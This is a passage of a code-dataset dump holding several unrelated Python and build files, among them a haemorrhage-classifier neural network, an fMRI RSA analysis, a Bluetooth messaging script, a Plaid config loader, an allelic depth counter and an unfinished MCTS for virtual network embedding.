np.loadtxt(\"Training/Tests/\"+str(testSet)+\"/2_\"+str(testSet)+\"_w0.txt\", ndmin=2)\n w1 = np.loadtxt(\"Training/Tests/\"+str(testSet)+\"/2_\"+str(testSet)+\"_w1.txt\", ndmin=2)\n w2 = np.loadtxt(\"Training/Tests/\"+str(testSet)+\"/2_\"+str(testSet)+\"_w2.txt\", ndmin=2)\n \n #load weight matrces and store them in variables\n #pass input matrix through network, one image at a time\n for i in range(0, len(inputMatrix)):\n l0 = np.array(inputMatrix[i,], ndmin=2)\n np.reshape(l0, (1, in_neurons))\n l1 = sigmoid(np.dot(l0, w0))\n l2 = sigmoid(np.dot(l1, w1))\n l3 = sigmoid(np.dot(l2, w2))\n \n resultMatrix[i, :] = l3\n\n print(\"[2HL]for image \"+str(i+1))\n print(l3)\n \n return resultMatrix\n\ndef TestBothNeuralNetworks(inputMatrix, testSet):\n\n w0_2 = np.loadtxt(\"Training/Tests/\"+str(testSet)+\"/2_\"+str(testSet)+\"_w0.txt\", ndmin=2)\n w1_2 = np.loadtxt(\"Training/Tests/\"+str(testSet)+\"/2_\"+str(testSet)+\"_w1.txt\", ndmin=2)\n w2_2 = np.loadtxt(\"Training/Tests/\"+str(testSet)+\"/2_\"+str(testSet)+\"_w2.txt\", ndmin=2)\n\n w0_1 = np.loadtxt(\"Training/Tests/\"+str(testSet)+\"/1_\"+str(testSet)+\"_w0.txt\", ndmin=2)\n w1_1 = np.loadtxt(\"Training/Tests/\"+str(testSet)+\"/1_\"+str(testSet)+\"_w1.txt\", ndmin=2)\n\n resultMatrix_1hl = np.empty((len(inputMatrix), out_neurons))\n resultMatrix_2hl = np.empty((len(inputMatrix), out_neurons))\n\n for i in range(0, len(inputMatrix)):\n l0 = np.array(inputMatrix[i,], ndmin=2)\n np.reshape(l0, (1, in_neurons))\n l1 = sigmoid(np.dot(l0, w0_2))\n l2 = sigmoid(np.dot(l1, w1_2))\n l3 = sigmoid(np.dot(l2, w2_2))\n \n l1_1 = sigmoid(np.dot(l0, w0_1))\n l2_1 = sigmoid(np.dot(l1_1, w1_1))\n \n resultMatrix_1hl[i, :] = l2_1\n resultMatrix_2hl[i, :] = l3\n\n #print(\"for image \"+str(i))\n #print(l2_1)\n #print(l3)\n \n return resultMatrix_1hl, resultMatrix_2hl\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\ndef processResults(resultMatrix):\n global grayscaleImagesList\n global contourImagesList\n percentages = np.multiply(resultMatrix, 100.0)\n results = []\n inferredResults = np.zeros((len(resultMatrix), out_neurons))\n \n maxProbability_col = 0\n maxProbIndex = -1\n for i in range (0, len(resultMatrix)):\n \n maxProbability = 0\n maxProbabilityIndex = -1\n index = 0\n for value in percentages[i,]:\n if value > maxProbability:\n maxProbability = value\n maxProbabilityIndex = index\n index += 1\n inferredResults[i, maxProbabilityIndex] = 1\n \n resultString = \"\"\n if(inferredResults[i, 0] == 1):\n confidence = format(percentages[i, 0], '.4f')\n if(percentages[i, 0] > maxProbability_col):\n maxProbability_col = percentages[i, 0]\n maxProbIndex = i\n \n resultString = \"Image \"+str(i + 1)+\": EDH - \"+ confidence +\"% confident\"\n if(inferredResults[i, 1] == 1):\n confidence = format(percentages[i, 1], '.4f')\n if(percentages[i, 1] > maxProbability_col):\n maxProbability_col = percentages[i, 1]\n maxProbIndex = i\n resultString = \"Image \"+str(i + 1)+\": SDH - \"+ confidence +\"% confident\"\n if(inferredResults[i, 2] == 1):\n confidence = format(percentages[i, 2], '.4f')\n if(percentages[i, 2] > maxProbability_col):\n maxProbability_col = percentages[i, 2]\n maxProbIndex = i\n resultString = \"Image \"+str(i + 1)+\": ICH - \"+ confidence +\"% confident\"\n \n results.append(resultString)\n \n\n results.append(\"**************************************\")\n\n \n print(\"#######\")\n totalPercentages = np.mean(percentages, axis=0)\n print(totalPercentages)\n print(\"#######\")\n maxPercentageIndex = np.argmax(totalPercentages)\n maxPercentage = totalPercentages[maxPercentageIndex]\n if(maxPercentageIndex == 0):\n finalString = \"Final result for case set: EDH with \"+str(maxPercentage)+\"% confidence\"\n print(finalString)\n imageString = \"EDH: \"+str(format(maxPercentage, '.4f'))+\"% confident\"\n if(maxPercentageIndex == 1):\n finalString = \"Final result for case set: SDH with \"+str(maxPercentage)+\"% confidence\"\n imageString = \"SDH: \"+str(format(maxPercentage, '.4f'))+\"% confident\"\n print(finalString)\n if(maxPercentageIndex == 2):\n finalString = \"Final result for case set: ICH with \"+str(maxPercentage)+\"% confidence\"\n imageString = \"ICH: \"+str(format(maxPercentage, '.4f'))+\"% confident\"\n print(finalString)\n \n results.append(finalString)\n results.append(\"**************************************\")\n \n currentImagePath_gs = grayscaleImagesList[maxProbIndex]\n currentImage_gs = cv2.imread(currentImagePath_gs, cv2.IMREAD_GRAYSCALE)\n\n currentImagePath_contour = contourImagesList[maxProbIndex]\n currentImage_contour = cv2.imread(currentImagePath_contour, cv2.IMREAD_GRAYSCALE)\n \n resultImage = getDrawnContourImage(currentImage_gs, currentImage_contour)\n\n cv2.putText(resultImage, imageString, (10,80), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255,255,255), True)\n \n #printing commented out for timing purposes.\n \n #windowName = \"Final Result\"\n #cv2.namedWindow(windowName, cv2.WINDOW_AUTOSIZE)\n #cv2.imshow(windowName, resultImage)\n #cv2.waitKey()\n #cv2.destroyWindow(windowName)\n \n return results, totalPercentages, resultImage\n\ndef getDrawnContourImage(gs_image, contour_image):\n #original = np.copy(image)\n im, contours, hierarchy = cv2.findContours(contour_image, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n areas = np.zeros([len(contours)])\n maxArea = 0\n maxAreaLoc = -1\n\n for i in range(1, len(areas)):\n \tareas[i] = cv2.contourArea(contours[i])\n \tif(areas[i] > maxArea):\n \t\tmaxArea = areas[i]\n \t\tmaxAreaLoc = i\n\n #im in following line needs to be the grayscale image\n drawing = cv2.cvtColor(gs_image, cv2.COLOR_GRAY2BGR)\n cv2.drawContours(drawing, contours, maxAreaLoc, (0,255,0), 3)\n\n return drawing\n\ndef training():\n #print(\"Detecting Haemorrhage . . . \")\n #os.system(\"./detection_training\")\n #print(\"Haemorrhage Detection Finished\")\n trainingInputMatrix = getTrainingInputMatrix()\n normalisedTrainingInputMatrix = normaliseMatrix(trainingInputMatrix)\n trainingOutputMatrix = getTrainingOutputMatrix()\n\n trainCaseNumber = 1\n #varying learning rate from 0.005 to 0.05\n for i in range(1, 11):\n rate = 0.005 * i * -1\n #varying the number of neurons from 4 to 26\n for j in range(4, 26):\n #for the 2HL network, if j is odd, layer1 has 1 more neuron than layer2\n if(j % 2 == 1):\n layer1_neurons = j // 2 + 1\n layer2_neurons = j // 2\n else:\n layer1_neurons = j // 2\n layer2_neurons = j // 2\n \n #make call for training\n TrainNeuralNetwork(normalisedTrainingInputMatrix, trainingOutputMatrix, rate, j, layer1_neurons, layer2_neurons, trainCaseNumber)\n trainCaseNumber += 1\n \ndef testing():\n print(\"Detecting Haemorrhage . . . \")\n os.system(\"./detection_testing\")\n print(\"Haemorrhage Detection Finished\")\n testInputMatrix = getTestInputMatrix()\n totalTests = 220\n for i in range(1, totalTests + 1):\n resultsFolder = \"Testing/TestResults/\"+str(i)+\"/\"\n os.makedirs(resultsFolder)\n finalProbabilities1hl, finalProbabilities2hl = TestBothNeuralNetworks(testInputMatrix, i)\n \n #For the single hidden layer neural network\n results_1hl, percentages_1hl, image_1 = processResults(finalProbabilities1hl)\n outfile = open(\"Testing/TestResults/\"+str(i)+\"/\"+str(i)+\"results 1hl.txt\", 'w')\n outfile.write(\"\\n\".join(results_1hl))\n outfile.close()\n cv2.imwrite(\"Testing/TestResults/ResultImages/1hl_\"+str(i)+\".png\", image_1)\n \n testList = open(\"Testing/TestResults/averagePercentage_1.txt\", \"a+\")\n testList.write(str(i)+\"\\t\"+str(percentages_1hl[0]).replace('[','').replace(']','')+\"\\t\"+str(percentages_1hl[1]).replace('[','').replace(']','')+\"\\t\"+str(percentages_1hl[2]).replace('[','').replace(']','')+\"\\n\")\n testList.close()\n\n #For the two hidden layer neural network\n results_2hl, percentages_2hl, image_2 = processResults(finalProbabilities2hl)\n outfile2 = open(\"Testing/TestResults/\"+str(i)+\"/\"+str(i)+\"results 2hl.txt\", 'w')\n outfile2.write(\"\\n\".join(results_2hl))\n outfile2.close()\n cv2.imwrite(\"Testing/TestResults/ResultImages/2hl_\"+str(i)+\".png\", image_2)\n\n testList2 = open(\"Testing/TestResults/averagePercentage_2.txt\", \"a+\")\n testList2.write(str(i)+\"\\t\"+str(percentages_2hl[0]).replace('[','').replace(']','')+\"\\t\"+str(percentages_2hl[1]).replace('[','').replace(']','')+\"\\t\"+str(percentages_2hl[2]).replace('[','').replace(']','')+\"\\n\")\n testList2.close()\n\nif __name__ == \"__main__\":\n #startTraining = time.clock()\n #training()\n #endTraining = time.clock()\n #trainingTime = endTraining - startTraining\n #print(\"execution time to get all training matrices to converge: \"+str(trainingTime)+\" seconds\")\n \n startTesting = time.clock()\n testing()\n endTesting = time.clock()\n testingTime = endTesting - startTesting\n print(\"execution time to get results for 1 testing case: \"+str(testingTime)+\" seconds\")\n print(\"case 01\")\n #Testing()\n print (\"finished execution.\")\n ","sub_path":"classification/final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":30319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"354444991","text":"import cv2\nimport os\n\"\"\"\npip install opencv-python==3.4.5.20\ncaptures 100 images from front facing camera on MAC and saves the images\n\"\"\"\ndef main():\n cap = cv2.VideoCapture(0)\n for i in range(10):\n ret, image_np = cap.read()\n filename = 'img-{}.jpg'.format(i)\n cv2.imwrite(filename,image_np)\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"capture_camera_images.py","file_name":"capture_camera_images.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"423919616","text":"# %%\nimport pandas as pd\nimport numpy as np\n\nfrom nilearn import plotting\nimport nibabel as nib\n\nfrom scipy import signal, stats\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import FixedLocator, FixedFormatter\n\nimport warnings\n# %%\n\ndef standardize_data(bold_data, chunks):\n\n \"\"\"Standardizes and detrends the data.\n \n Parameters\n ----------\n bold_data : array_like \n 4-D array with time dimension on last index The input data\n \n chunks_df : array_like\n array containing the indicies of chenks ordered by their time\n\n Returns\n -------\n temp : ndarray\n z-score of the input data.\n \n \"\"\"\n for chunk in chunks:\n bold_data[:,:,:,chunk] = \\\n stats.zscore(\\\n signal.detrend(\\\n bold_data[:,:,:,chunk],type='linear'))\n \n return(bold_data)\n\n\ndef create_selection_mask(bold, x:int=None,y:int=None,z:int=None, r:int=None):\n \"\"\"Create mask for the BOLD image based on user input.\n\n if any of the values are non-int, no mask will be created.\n \n Parameters\n ----------\n bold: array_like\n target data for masking. This variable is used to get the dimensions.\n\n x: int, optional\n x dimension\n\n y: int, optional\n y dimension\n\n z: int, optional\n z dimension\n\n r: int, optional\n radius of selection.\n\n Returns\n -------\n ret : array_like\n returns a list of indicies if validation is true\n \"\"\"\n \n if any(list(map(lambda m: m is None, [x,y,z]))) :\n warnings.warn('inputs contain None. No selection applied')\n return(np.ones(bold.shape[:3])) # no mask\n\n else:\n\n if r is not None:\n\n # creating distance matrix\n i,j,k = np.indices(bold.shape[:3], sparse=True)\n distmat = np.sqrt((i-x)**2 + (j-y)**2 + (k-z)**2)\n\n # creating the mask based on distance\n mask_cube =np.zeros(bold.shape[:3])\n mask_cube[distmat<= r] = 1\n return(mask_cube == 1)\n\n else:\n\n return(np.ones(bold.shape[:3])) # no mask\n\n\ndef plot_MRI(image,bold,mask,title=None, ax=None):\n \"\"\"gets the input and produces searchlight mask if applicable.\n \n Parameters\n ----------\n images: int\n index of the desired image\n bold: nibabel.nifti1.Nifti1Image\n BOLD image data\n mask: array_like\n Mask that is created to cover unnecessary data\n \n Returns\n -------\n MRI plots\n \"\"\"\n\n\ndef RSA_RDM_producer(bold_array_masked, labeled_df):\n \"\"\"Produces RDM and Model RDM and plots them.\n \n Parameters\n ----------\n bold_array_masked : array_like\n The input data\n\n labeled_df : Pandas DataFrame\n The labels data\n\n Returns\n -------\n \n \"\"\"\n label_image_count = labeled_df.groupby('labels').count().values[0,0]\n labels_count = len(labeled_df['labels'].unique())\n\n\n bold_array_masked = bold_array_masked.reshape(-1,bold_array_masked.shape[-1])\n label_sorting = labeled_df.sort_values('labels').index\n\n print('preparing RDMs')\n\n dis_matrix=1-np.corrcoef(bold_array_masked[:,label_sorting].T)\n\n\n model_RDM = np.kron(\n (1-np.eye(labels_count)), \n np.ones((label_image_count,label_image_count)))\n \n RSA_score = np.corrcoef(model_RDM.T.flatten(),dis_matrix.flatten())\n\n print('Plotting the results')\n\n \n fig, ax = plt.subplots()\n im = plt.imshow(dis_matrix, cmap='PiYG')\n\n cax = plt.axes([0.8, 0.12, 0.03, 0.78])\n plt.colorbar(im,cax=cax)\n ticks = ((label_image_count * np.arange(labels_count)) + label_image_count/2)\n tick_labels = labeled_df.sort_values('labels')['labels'].unique()\n \n ax.hlines(label_image_count * np.arange(labels_count),\\\n *ax.get_xlim(), color='w')\n\n ax.vlines(label_image_count * np.arange(labels_count),\\\n *ax.get_xlim(), color='w')\n\n ax.xaxis.set_major_locator(FixedLocator(ticks))\n ax.xaxis.set_major_formatter(FixedFormatter(tick_labels))\n\n ax.yaxis.set_major_locator(FixedLocator(ticks))\n ax.yaxis.set_major_formatter(FixedFormatter(tick_labels))\n plt.title('RDM vs RDM')\n\n print(f'RSA score is : {round(RSA_score[0,1],5)}')\n\n\n\n\n#%%\n\n# Dir Config\ndata_dir = ''\n\nbold_dta_path = 'subj1/bold.nii.gz'\nmask_path = 'subj1/mask4_vt.nii.gz'\nlabel_path = 'subj1/labels.txt'\n\n\n## Starting the analysis process:\n\n# data preparation\nbold = nib.load(data_dir + bold_dta_path)\n\nlabeled_df = pd.read_csv(data_dir + label_path, sep=' ')\nlabeled_df = labeled_df[~labeled_df.labels.isin(['rest','scrambledpix'])]\n\nchunks_df = labeled_df.reset_index()\\\n .groupby(['chunks'])\\\n .agg({'index':list})\n\nbold_array = bold.get_fdata().copy()\nbold_array = standardize_data(bold_array, chunks_df['index'])\n\n\n# User inputs:\nX = 20\nY = 12\nZ = 40\nRADIUS = 10\n\nimages = [400]\n\nmask_cube = create_selection_mask(bold_array, x=X, y=Y, z=Z, r=RADIUS)\n\n# Plotting the MRI image:\nfig, ax = plt.subplots(nrows = len(images))\n\n\nfor i,image_index in enumerate(images):\n temp = bold_array[:,:,:,image_index].copy()\n temp[~mask_cube] = 0\n processed_image = nib.Nifti1Image(temp, bold.affine)\n\n if len(images) == 1:\n axes = ax\n else:\n axes = ax[i]\n\n plotting.plot_glass_brain(processed_image,title=str(image_index), axes =axes)\n\n# Producing RDM and RSA:\nbold_array_masked = bold_array\nbold_array_masked[~mask_cube] = 0\n\n\nRSA_RDM_producer(bold_array_masked, labeled_df)\n\n\n# %%\n","sub_path":"Assignment_1.py","file_name":"Assignment_1.py","file_ext":"py","file_size_in_byte":5470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"544402688","text":"from bluetooth import *\nimport time\n\ndef find_address(target_name):\n target_address = None\n\n print(\"scaning bluetooth device...\")\n nearby_devices = discover_devices()\n\n print(\"find bluetooth device:\\n\")\n for address in nearby_devices:\n name = lookup_name(address)\n if target_name == name:\n target_address = address\n print(\"\\033[32mtarget address:\\n\")\n print(str(name) + '\\t' + address)\n break\n print(str(name) + '\\t' + address)\n\n if target_address is None:\n print(\"\\n\\033[031m\\ntarget device not found!\\n\")\n\n\n return target_address\n\n\nif __name__ == '__main__':\n\n find_address('HC05')\n address = '98:D3:31:F5:A7:47'\n port = 1\n socket = BluetoothSocket(RFCOMM) \n socket.connect((address, port))\n socket.send('1')\n socket.close()\n #отправка\n time.sleep(5)\n\n server_sock=BluetoothSocket(RFCOMM )\n port = 1\n server_sock.bind((\"\",port))\n server_sock.listen(1)\n address = '98:D3:31:F5:A7:47'\n port = 1\n client_sock = BluetoothSocket(RFCOMM)\n client_sock.connect((address, port))\n data = client_sock.recv(1024)\n print(\"received [%s]\" % data)\n client_sock.close()\n server_sock.close()\n #получение\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n ","sub_path":"send.py","file_name":"send.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"476602551","text":"# Read env vars from .env file\nfrom dotenv import load_dotenv\nload_dotenv()\n\nimport os\n\n# Fill in your Plaid API keys - https://dashboard.plaid.com/account/keys\nPLAID_CLIENT_ID = os.getenv('PLAID_CLIENT_ID')\nPLAID_SECRET = os.getenv('PLAID_SECRET')\n# Use 'sandbox' to test with Plaid's Sandbox environment (username: user_good,\n# password: pass_good)\n# Use `development` to test with live users and credentials and `production`\n# to go live\nPLAID_ENV = os.getenv('PLAID_ENV', 'sandbox')\n# PLAID_PRODUCTS is a comma-separated list of products to use when initializing\n# Link. Note that this list must contain 'assets' in order for the app to be\n# able to create and retrieve asset reports.\nPLAID_PRODUCTS = os.getenv('PLAID_PRODUCTS', 'transactions').split(',')\n\n# PLAID_COUNTRY_CODES is a comma-separated list of countries for which users\n# will be able to select institutions from.\nPLAID_COUNTRY_CODES = os.getenv('PLAID_COUNTRY_CODES', 'US').split(',')\n\n\ndef empty_to_none(field):\n value = os.getenv(field)\n if value is None or len(value) == 0:\n return None\n return value\n\n\n# Parameters used for the OAuth redirect Link flow.\n#\n# Set PLAID_REDIRECT_URI to 'http://localhost:8000/oauth-response.html'\n# The OAuth redirect flow requires an endpoint on the developer's website\n# that the bank website should redirect to. You will need to configure\n# this redirect URI for your client ID through the Plaid developer dashboard\n# at https://dashboard.plaid.com/team/api.\nPLAID_REDIRECT_URI = empty_to_none('PLAID_REDIRECT_URI')","sub_path":"Plaid_Manager_API/token_exchange/keys.py","file_name":"keys.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"467731411","text":"import asyncio\n\nfrom vkwave.api import Token, BotSyncSingleToken, API\nfrom vkwave.bots.utils import PhotoUploader\nfrom vkwave.client import AIOHTTPClient\n\nclient = AIOHTTPClient()\napi = API(clients=client, tokens=BotSyncSingleToken(Token(\"token\")),)\n\nuploader = PhotoUploader(api.get_context())\n# same with VoiceUploader etc.\n\n\nasync def main():\n big_attachment = await uploader.get_attachments_from_links(\n peer_id=1234,\n links=[\n \"https://user-images.githubusercontent.com/28061158/75329873-7f738200-5891-11ea-9565-fd117ea4fc9e.jpg\",\n \"https://camo.githubusercontent.com/9c8d6519e5997860b7a4b28f74719c0c2f83142b/68747470733a2f2f692e696d6775722e636f6d2f386955334578366c2e6a7067\",\n \"https://user-images.githubusercontent.com/28061158/74590410-239e3300-501f-11ea-9774-27ee507a1e1e.jpg\",\n ],\n )\n await api.get_context().messages.send(user_id=1234, attachment=big_attachment, random_id=0)\n\n\nasyncio.get_event_loop().run_until_complete(main())\n","sub_path":"examples/uploader_example.py","file_name":"uploader_example.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"354572562","text":"from collections import Counter, namedtuple\nfrom concurrent import futures\nfrom functools import partial\nfrom typing import Union\n\nimport pysam\nfrom pysam.version import __version__ as pysam_version_string\nfrom pandas import DataFrame\n\nfrom fbio.region import CHROMS\nfrom fbio.util.iter_utils import only_one\n\nRow = namedtuple('Row', ['chrom', 'start', 'stop', 'ref', 'alt',\n 'n_ref_pos', 'n_ref_neg', 'n_alt_pos', 'n_alt_neg',\n 'n_other', 'pop_af'])\n\n\n# FIXME duplicates summarizer\ndef default_read_filter(read, min_size=0, max_size=1000, unpaired_reads_only=False):\n \"\"\"Return true to use the read in the counts and return false to remove the read from the counts\n\n Args:\n read (AlignedSegment): Read to check\n min_size (int): Minimum fragment size for a fragment to be counted\n max_size (int): Maximum fragment size for a fragment to be counted\n\n Returns:\n (bool): True to keep the read, false to remove it\n \"\"\"\n allowable = (not read.is_duplicate and\n not read.is_qcfail and\n not read.is_unmapped and\n not read.is_secondary)\n if unpaired_reads_only:\n allowable = (allowable and\n not read.is_paired)\n else:\n allowable = (allowable and\n read.is_paired and # is paired\n not read.mate_is_unmapped and # pair is not unmapped\n read.is_proper_pair and\n (min_size <= abs(read.tlen) <= max_size)) # reasonable length\n\n return allowable\n\n\ndef iter_puc_bases(pileup_column: pysam.PileupColumn, min_mapq: int, ignore_5p_bases):\n \"\"\"\n :param int ignore_5p_bases: ignore this many bases of the 5' end of reads\n :yields: the bases of each read at a pileup column. Set to 0 to use all bases.\n \"\"\"\n for i, pileup_read in enumerate(pileup_column.pileups):\n align = pileup_read.alignment\n\n if default_read_filter(align) and align.mapq >= min_mapq:\n if ignore_5p_bases:\n align = align\n if align.is_reverse:\n if len(align.query_sequence) - (pileup_read.query_position_or_next + 1) < ignore_5p_bases:\n continue\n else:\n if pileup_read.query_position_or_next < ignore_5p_bases:\n continue\n\n strand = '-' if align.is_reverse else '+'\n if pileup_read.is_del:\n yield strand, 'DEL'\n elif pileup_read.is_refskip:\n yield strand, 'REF_SKIP'\n else:\n yield strand, align.query_sequence[pileup_read.query_position]\n\n\ndef iter_vcf_pileup(vcf_snp_iter, pileup_iter: pysam.libcalignmentfile.IteratorColumn):\n \"\"\"\n vcf iter assumed to only contain snps\n\n :yields a vcf record and its corresponding pileup\n \"\"\"\n puc = next(pileup_iter, None)\n for v in vcf_snp_iter:\n while puc is not None and puc.pos < v.start:\n puc = next(pileup_iter, None)\n\n if puc is None:\n # reached end of pileup iter\n yield v, None\n continue\n\n if puc.reference_name != v.chrom:\n raise AssertionError(f'Comparing two chroms: pileup is {puc.reference_name} and variant is {v.chrom}')\n\n if puc.pos == v.start:\n yield v, puc\n elif puc.pos > v.start:\n yield v, None\n else:\n raise AssertionError('Impossible')\n\n\ndef vcf_rec_filter(vcf_rec, min_allele_freq):\n # only bi-allelic snps are supported\n return (len(vcf_rec.ref) == 1 and\n len(vcf_rec.alts) == 1 and\n len(vcf_rec.alts[0]) == 1 and\n only_one(vcf_rec.info['AF']) >= min_allele_freq)\n\n\ndef process_chromosome(in_vcf: str, in_xam: str, chrom: str, min_mapq: int,\n min_allele_freq: float, output_sites_with_no_counts: bool, max_records: Union[int, None],\n ignore_5p_bases=0):\n if in_xam.endswith('.cram') and pysam_version_string != '0.12.0.1':\n raise AssertionError(f'pysam version is {pysam_version_string} but must be 0.12.0.1 if the input is a cram. '\n f'There is a bug in pysam described here: '\n f'https://github.com/pysam-developers/pysam/issues/725')\n\n def g():\n i = 0\n with pysam.AlignmentFile(in_xam) as alignment_file, pysam.VariantFile(in_vcf) as variant_file:\n vcf_iter = filter(partial(vcf_rec_filter, min_allele_freq=min_allele_freq), variant_file.fetch(chrom))\n\n for vcf_rec, puc in iter_vcf_pileup(vcf_iter, alignment_file.pileup(\n chrom, stepper='all', ignore_overlaps=False, min_base_quality=0)):\n # warning: do not try to reference pucs that aren't the most recent one yielded by\n # the iterator, as pysam's internal pointers do not reference to correct memory locations anymore\n\n if puc is None:\n counts = Counter([])\n else:\n assert vcf_rec.start == puc.pos\n counts = Counter(iter_puc_bases(puc, min_mapq, ignore_5p_bases))\n\n if not output_sites_with_no_counts and sum(counts.values()) == 0:\n continue\n\n ref = vcf_rec.ref\n alt = only_one(vcf_rec.alts)\n n_ref_pos = counts.pop(('+', ref), 0)\n n_ref_neg = counts.pop(('-', ref), 0)\n n_alt_pos = counts.pop(('+', alt), 0)\n n_alt_neg = counts.pop(('-', alt), 0)\n yield Row(chrom=vcf_rec.chrom,\n start=vcf_rec.start, stop=vcf_rec.stop, ref=ref, alt=alt,\n n_ref_pos=n_ref_pos,\n n_ref_neg=n_ref_neg,\n n_alt_pos=n_alt_pos,\n n_alt_neg=n_alt_neg,\n n_other=sum(counts.values()),\n pop_af=only_one(vcf_rec.info['AF']))\n\n i += 1\n if max_records is not None and i >= max_records:\n break\n\n return list(g())\n\n\ndef allelic_depth_counter(in_vcf, in_xam, in_xai, out_allelic_depths, core_req,\n min_mapq, min_allele_freq,\n output_sites_with_no_counts: bool,\n max_records_per_chrom=None,\n chroms=None, ignore_5p_bases=0):\n in_xai # here to get downloaded by stage_to_scratch\n if chroms is None:\n chroms = CHROMS\n\n with futures.ProcessPoolExecutor(core_req) as ex:\n map_ = map if core_req == 1 else ex.map\n result = map_(process_chromosome, *zip(*((in_vcf, in_xam, chrom,\n min_mapq, min_allele_freq, output_sites_with_no_counts,\n max_records_per_chrom, ignore_5p_bases)\n for chrom in chroms)))\n df = DataFrame.from_records((row\n for rows in result\n for row in rows), columns=Row._fields)\n\n df['n_ref'] = df['n_ref_pos'] + df['n_ref_neg']\n df['n_alt'] = df['n_alt_pos'] + df['n_alt_neg']\n df['ab'] = df['n_alt'] / (df['n_ref'] + df['n_alt'])\n\n df.to_csv(out_allelic_depths, sep=\"\\t\", compression='gzip' if out_allelic_depths.endswith('gz') else None,\n index=False)\n","sub_path":"fbio/bam/allelic_depth_counter.py","file_name":"allelic_depth_counter.py","file_ext":"py","file_size_in_byte":7543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"145966643","text":"# -*- python -*-\nImport('env')\n\npy = env.Install('fcli/', 'py/accumulator.py')\n\nfc = env.fcli_update_function(\n 'accumulator.log', 'fcli/',\n handler='accumulator.main',\n service='delivery-demo',\n function='accumulator')\nenv.Depends(fc, [py])\nenv.Alias('FC', fc)\n","sub_path":"src/accumulator/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"334097286","text":"import copy\nimport math\nimport numpy as np\nimport networkx as nx\n\n\nclass TreeNode(object):\n def __init__(self, pid, vid, parent=None, path=[]):\n \"\"\"\n \"\"\"\n # state\n self.vid = vid # the id of virtual network node\n self.pid = pid # the id of physical network node\n # node\n self.parent = parent\n self.children = [] # chirdren nodes\n self.path = []\n # value\n self.value = 0 # win value\n self.visit = 0 # visit visit\n\n def set_parent(self, parent):\n self.parent = parent\n \n def add_children(self, chid_node):\n self.children.append(chid_node)\n \n def is_root(self):\n return self.parent is None\n\n def is_leaf(self):\n return self.children == []\n\n\nclass MCTS(object):\n def __init__(self, d, pn, vn):\n self.d = d # exploration constant\n self.pn = pn\n self.vn = vn\n self.root = TreeNode(None, None, 0)\n self.selected_nodes = []\n\n def select(self, pn, vn, node, strategy='greedy'):\n \"\"\"select a children node from all candicate nodes according to the strategy\n \n UTD = (child_value/ child_visit) + D * sqrt(In(parent_visit) / child_visit)\n\n strategy [greedy | random]:\n greedy: \n random: \n \"\"\"\n utd = 0\n parent_visit = node.visit\n selected_node = node.chirdren[0]\n\n for n in node.chirdren:\n child_value = n.value\n child_visit = n.visit\n # calculate utd\n if child_visit == 0:\n curr_utd = np.inf\n else:\n curr_utd = (child_value/ child_visit) + self.d * math.sqrt((math.log(parent_visit) / child_visit))\n # update selected node\n if curr_utd > utd:\n selected_node = n\n \n pid = selected_node.pid\n vid = selected_node.vid\n path = selected_node.vid\n\n # update PN\n cpu_req = vn.graph.node[vid]['cpu']\n ram_req = vn.graph.node[vid]['cpu']\n rom_req = vn.graph.node[vid]['cpu']\n bw_req = vn.graph.edges[vid, vid+1]['bw']\n pn.update_node(vid, 'cpu', -cpu_req)\n pn.update_node(vid, 'ram', -ram_req)\n pn.update_node(vid, 'rom', -rom_req)\n pn.update_bw_with_path(path, -bw_req)\n return selected_node\n\n def expand(self, node):\n \"\"\"[summary]\n \"\"\"\n vid = node.vid\n # node constraint\n cpu_req = vn.graph.node[vid]['cpu']\n ram_req = vn.graph.node[vid]['cpu']\n rom_req = vn.graph.node[vid]['cpu']\n \n candicate_nodes = self.pn.find_candicate_nodes(cpu_req, ram_req, rom_req, filter=self.selected_nodes)\n \n # edge constraint & update resource\n # sub graph\n bw_req = vn.graph.edges[vid, vid+1]['bw']\n edges_data_bw_free = pn.graph.edges.data('bw_free')\n available_egdes = [(u, v) for (u, v, bw_free) in edges_data_bw_free if bw_free >= bw_req]\n temp_graph = nx.Graph()\n temp_graph.add_edges_from(available_egdes)\n \n # find chirdren node\n for candi_pid in candicate_nodes:\n try:\n # finded shortest path\n path = nx.dijkstra_path(temp_graph, node.pid, candi_pid)\n # update link resource\n pn.update_bw_with_path(path, -bw_req)\n vn_pn_paths[(vid, vid+1)] = path\n # update node resource\n pn.update_node(candi_pid, 'cpu', -cpu_req)\n pn.update_node(candi_pid, 'ram', -ram_req)\n pn.update_node(candi_pid, 'rom', -rom_req)\n # add to chirdren node list\n node.append(TreeNode(candi_pid, vid+1, node, path=path))\n except:\n # FAILURE\n vn.slots = {}\n vn.paths = {}\n return True\n\n def backpropagate(self, node, flag):\n curr_node = node\n while(curr_node.parent != None):\n curr_node.parent.visit += 1\n curr_node.parent.value += 1\n curr_node = self.parent\n return True\n\n def simulate(self):\n pn = copy.deepcopy(self.pn)\n vn = copy.deepcopy(self.vn)\n curr_node = self.root\n \n # Select\n while(curr_node.children != []):\n selected_nodes = self.select(pn, vn, curr_node)\n self.selected_nodes.append(selected_nodes.pid)\n \n # Expand\n while(selected_nodes.vid > 